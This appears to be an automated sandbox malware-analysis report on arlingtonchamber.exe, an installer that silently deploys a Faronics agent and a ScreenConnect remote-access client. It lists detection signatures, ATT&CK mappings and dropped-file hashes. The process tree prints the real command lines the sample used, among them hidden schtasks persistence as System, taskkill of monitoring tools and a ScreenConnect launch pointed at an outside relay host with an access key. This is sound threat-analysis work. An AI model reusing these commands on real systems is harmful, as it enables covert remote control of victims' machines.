Overview

overview

8

Static

static

3

arlingtonchamber.exe

windows10-2004-x64

8

arlingtonchamber.exe

windows11-ltsc_2024-x64

8

Analysis

  • geolocation tags

    nanew-jerseynorth-americaunited-statesususa
  • user interaction
    yes
  • max time kernel
    488s
  • max time network
    606s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/07/2026, 18:06

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    arlingtonchamber.exe
  • Size 76.4MB
  • Sample260722-wpqfpsem6t
  • SHA256 2726e3c8ecac30154d4c2c9c3da9f5942bab8ce25b43771ab888d65a2bd2f59c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarebackdoordefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwareratrevoked_codesignspyware

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Downloads MZ/PE file 4 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 3 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 30 IoCs
  • Loads dropped DLL 48 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 40 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 51 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 35 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\arlingtonchamber.exe
    "C:\Users\Admin\AppData\Local\Temp\arlingtonchamber.exe"
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5904
    • C:\Windows\SysWOW64\Msiexec.exe
      Msiexec /i "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Cloud Agent_C64.msi" /q REBOOT="ReallySuppress"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2896
    • C:\Windows\SysWOW64\Msiexec.exe
      Msiexec /i "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Software Updater_C64.msi" /q REBOOT="ReallySuppress"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3428
    • C:\Windows\SysWOW64\Msiexec.exe
      Msiexec /i "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Usage Stats_C64.msi" /q REBOOT="ReallySuppress"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:2824
    • C:\Windows\SysWOW64\Msiexec.exe
      Msiexec /i "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Imaging Client_C64.msi" /q REBOOT="ReallySuppress"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:4268
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3480
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding BE125F7CED6A4AB79921EEF2DB570317
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /IM FWAInstallMonitor.exe /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        PID:2800
      • C:\ProgramData\FWAInstallMonitor.exe
        "C:\ProgramData\FWAInstallMonitor.exe" /StartMonitor /CreateStartUpMonitorTask /MsiPath "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Cloud Agent_C64.msi" /Pid 1816
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1132
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\FWACleanupScheduler.bat
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:236
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Delete /tn LaunchStartUpFWAInstallHelper /f
            5⤵
            • System Location Discovery: System Language Discovery
            PID:5004
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Create /RU System /tn LaunchStartUpFWAInstallHelper /tr "\"C:\ProgramData\FWAInstallMonitor.exe\" /StartMonitorAtStartUp 5 /MsiPath C:\Users\Admin\AppData\Local\Temp\FaronicsDeployAgent.msi" /sc onstart
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:2528
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\FWACleanupScheduler.bat
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4148
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Delete /tn LaunchFWACleanupHelper /f
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4608
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\ProgramData\FWACleanupScheduler.bat
          4⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1424
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /Delete /tn LaunchStartUpFWAInstallHelper /f
            5⤵
            • System Location Discovery: System Language Discovery
            PID:4396
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 69A3179641EA17F88DA1CD893F07EE99 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5288
      • C:\Windows\SysWOW64\wbem\mofcomp.exe
        "C:\Windows\system32\wbem\mofcomp.exe" "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FaronicsWebProduct.mof"
        3⤵
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2556
      • C:\Windows\SysWOW64\wbem\mofcomp.exe
        "C:\Windows\system32\wbem\mofcomp.exe" "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FaronicsWebProduct_v2.mof"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3820
      • C:\Windows\SysWOW64\wbem\mofcomp.exe
        "C:\Windows\system32\wbem\mofcomp.exe" "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\WebAgent.mof"
        3⤵
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:6132
      • C:\Windows\SysWOW64\regsvr32.exe
        "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAWmiProvider.dll"
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        PID:4288
      • C:\Windows\SysWOW64\wbem\mofcomp.exe
        "C:\Windows\system32\wbem\mofcomp.exe" "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\StorageSpaces.mof"
        3⤵
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:704
      • C:\Windows\SysWOW64\regsvr32.exe
        "C:\Windows\system32\regsvr32.exe" /s "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\StorageSpaces.dll"
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Modifies registry class
        PID:5080
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /Create /RU System /SC ONSTART /tn FWASvcHelperMonitortask /tr "'C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe' /CHECKSVCHEALTH" /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2564
    • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe
      "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe" 1.31.8110.282 "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\\" LaunchFromInstaller
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3244
      • C:\ProgramData\Faronics\StorageSpace\FWA\modules\SUDLLUpdaterPatch.exe
        "C:\ProgramData\Faronics\StorageSpace\FWA\modules\SUDLLUpdaterPatch.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4584
        • C:\Users\Admin\AppData\Local\Temp\SUDLLUpdaterPatch.exe
          "C:\Users\Admin\AppData\Local\Temp\SUDLLUpdaterPatch.exe" -installProgress
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:5356
    • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FTAgentTmp.exe
      "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FTAgentTmp.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2272
      • C:\ProgramData\Faronics\StorageSpace\FWA\modules\FTAgent.exe
        C:\ProgramData\Faronics\StorageSpace\FWA\modules\FTAgent.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4184
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 36EC431E4192FB301BC0D858B242950E E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2080
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSID2BB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240964468 130 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1124
  • C:\Users\Admin\AppData\Local\Temp\arlingtonchamber.exe
    "C:\Users\Admin\AppData\Local\Temp\arlingtonchamber.exe" -r
    1⤵
    • Adds Run key to start application
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3212
    • C:\Windows\SysWOW64\Msiexec.exe
      Msiexec /i "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Cloud Agent_C64.msi" /q REBOOT="ReallySuppress"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3164
  • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe
    "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:5680
  • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe
    "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe"
    1⤵
    • Downloads MZ/PE file
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3004
    • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe
      "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe" 1.31.8110.282 "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\"
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:5708
      • C:\ProgramData\Faronics\StorageSpace\FWA\modules\SUDLLUpdaterPatch.exe
        "C:\ProgramData\Faronics\StorageSpace\FWA\modules\SUDLLUpdaterPatch.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4668
        • C:\Windows\TEMP\SUDLLUpdaterPatch.exe
          "C:\Windows\TEMP\SUDLLUpdaterPatch.exe" -installProgress
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:1488
    • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe
      "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe" /WATCHDOG
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:2876
    • \??\c:\programdata\faronics\faronics cloud\cloud agent\downloads\scriptrunner.exe
      "c:\programdata\faronics\faronics cloud\cloud agent\downloads\\scriptrunner.exe" 1|60670b7d-5bc9-4a91-9bea-ed3c42d387b4
      2⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      • Suspicious use of WriteProcessMemory
      PID:2436
      • C:\Windows\temp\Faronics\CNF\9\ScreenConnect.ClientSetup.exe
        "C:\Windows\temp\Faronics\CNF\9\ScreenConnect.ClientSetup.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious use of WriteProcessMemory
        PID:256
        • C:\Windows\SysWOW64\msiexec.exe
          "C:\Windows\System32\msiexec.exe" /i "C:\Windows\SystemTemp\ScreenConnect\25.2.4.9229\ff55c805740d9225\ScreenConnect.ClientSetup.msi"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:3600
    • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe
      "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe" /WATCHSVCSTOP
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:3584
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM FaronicsSA.exe /F
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      PID:6008
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM FRCServer.exe /F
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      PID:248
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM NotificationHelper.exe /F
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      PID:1004
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM NotificationHelperEx.exe /F
      2⤵
      • System Location Discovery: System Language Discovery
      • Kills process with taskkill
      PID:2104
  • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe
    "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:3708
  • C:\ProgramData\FWAInstallMonitor.exe
    "C:\ProgramData\FWAInstallMonitor.exe"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    PID:4712
  • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.masharayapanel.top&p=8041&s=7eead4a4-ad19-451f-b750-1780d8f40070&k=BgIAAACkAABSU0ExAAgAAAEAAQDNf5LzcJGytXOKYhggtdC%2bAvjhMeYbZhF3RqkPajRE93zK3zZ%2bFt5Lxp9OCGMjAX2GonVBwT347t99z9LqikkbzLT%2fKycsa%2fJ%2fln3XwJKCTbUM6kMwfPc1CQUrdXNnBSkoOqslfzRgWsFjiP%2bwOiaGhhlRQnicBLsFTzmUYpCnLPgyDY5yqsqgf9e54j4Rs%2biPokS%2fpts%2fZbBxSTNA5yJ9u99bNad4y%2fuQTBjiIji7oyVhdbbS0E1ZggAf%2ffFMUM7tH5ATrKU6UxuPxB0d8ZLZS%2fxy67SzPSn0UeQN8ZUUOqZyuIIHoKyg3Ytzn7%2b1Ql3xi%2fpt58yWOBTukc3KT1W8"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5760
    • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "23e1c7f3-9f57-4b1e-b156-1c978e303d4b" "User"
      2⤵
      • Executes dropped EXE
      PID:2464
    • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "36e958b3-bda2-4703-8802-6594d8576199" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:5680
    • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "482c1099-c4ca-4959-a2a5-4eaf8931cdea" "System"
      2⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      PID:3404
    • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "02054dbe-d936-4bd7-b0d8-00d6d37ad6af" "System"
      2⤵
      • Executes dropped EXE
      • Modifies data under HKEY_USERS
      PID:4316
    • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsBackstageShell.exe
      "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsBackstageShell.exe"
      2⤵
      • Executes dropped EXE
      • Enumerates connected drives
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3196
      • C:\Windows\system32\windowspowershell\v1.0\PowerShell.exe
        "C:\Windows\system32\windowspowershell\v1.0\PowerShell.exe"
        3⤵
        • Badlisted process makes network request
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        PID:6028
      • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsFileManager.exe
        "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsFileManager.exe"
        3⤵
        • Executes dropped EXE
        • Enumerates connected drives
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4312
      • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsFileManager.exe
        "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsFileManager.exe"
        3⤵
        • Executes dropped EXE
        • Enumerates connected drives
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        PID:5912
      • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsFileManager.exe
        "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsFileManager.exe"
        3⤵
        • Executes dropped EXE
        • Enumerates connected drives
        • Drops file in System32 directory
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1792
        • C:\Users\Backup\HideUL\HideUL.exe
          "C:\Users\Backup\HideUL\HideUL.exe"
          4⤵
            PID:4680
            • C:\Users\Backup\HideUL\HideUL_x64.exe
              C:\Users\Backup\HideUL\HideUL_x64.exe
              5⤵
                PID:4644
        • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "3e008a84-b6b2-4920-8418-7412309966fe" "User"
          2⤵
          • Executes dropped EXE
          PID:4832
        • C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (ff55c805740d9225)\ScreenConnect.WindowsClient.exe" "RunRole" "3c57e9e6-9007-4ac7-9294-f7e53c86211f" "User"
          2⤵
            PID:4328
        • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe
          "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWAService.exe"
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:1456
          • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe
            "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\ModulesUpgradeMgr.exe" 1.31.8110.282 "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\"
            2⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:3272
          • C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe
            "C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FWA_UI_Agent.exe" /WATCHDOG
            2⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2868
        • C:\Windows\system32\sihost.exe
          sihost.exe
          1⤵
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1508
          • C:\Windows\explorer.exe
            explorer.exe /LOADSAVEDWINDOWS
            2⤵
            • Boot or Logon Autostart Execution: Active Setup
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:2248
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:1408
        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:4576
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9} -Embedding
          1⤵
            PID:3404
          • C:\Windows\System32\rundll32.exe
            C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
            1⤵
              PID:460
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe /factory,{682159d9-c321-47ca-b3f1-30e36b2ec8b9} -Embedding
              1⤵
                PID:1536

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    1
                    T1059

                    Windows Command Shell

                    1
                    T1059.003

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Persistence

                    Boot or Logon Autostart Execution

                    4
                    T1547

                    Active Setup

                    1
                    T1547.014

                    Authentication Package

                    1
                    T1547.002

                    Registry Run Keys / Startup Folder

                    2
                    T1547.001

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Event Triggered Execution

                    1
                    T1546

                    Component Object Model Hijacking

                    1
                    T1546.015

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    4
                    T1547

                    Active Setup

                    1
                    T1547.014

                    Authentication Package

                    1
                    T1547.002

                    Registry Run Keys / Startup Folder

                    2
                    T1547.001

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Event Triggered Execution

                    1
                    T1546

                    Component Object Model Hijacking

                    1
                    T1546.015

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Defense Evasion

                    Modify Registry

                    4
                    T1112

                    Credential Access

                    Discovery

                    Peripheral Device Discovery

                    2
                    T1120

                    Query Registry

                    5
                    T1012

                    System Information Discovery

                    4
                    T1082

                    System Location Discovery

                    1
                    T1614

                    System Language Discovery

                    1
                    T1614.001

                    Lateral Movement

                    Collection

                    Command and Control

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    e5914d9.rbs
                    • Path C:\Config.Msi\e5914d9.rbs
                    • Size 2.3MB
                    • SHA256 699b31b5c572a89ab3f7be1f3e1cb71cfb38a2163f8d85e1111995851f3d3321
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    e5914de.rbs
                    • Path C:\Config.Msi\e5914de.rbs
                    • Size 214KB
                    • SHA256 1d932a5a4060aabcc0d78fa12313920f457f2cf7c51a18a97633ecc817dc4b76
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    FRCServer.exe
                    • Path C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FRCServer.exe
                    • Size 1.8MB
                    • SHA256 bffc018b68ef16b4fea63ab34d1cf0a9878f7fb3c8a67d598c166416e1d649a9
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    FSSInstaller.exe
                    • Path C:\Program Files (x86)\Faronics\Faronics Deploy Agent\FSSInstaller.exe
                    • Size 409KB
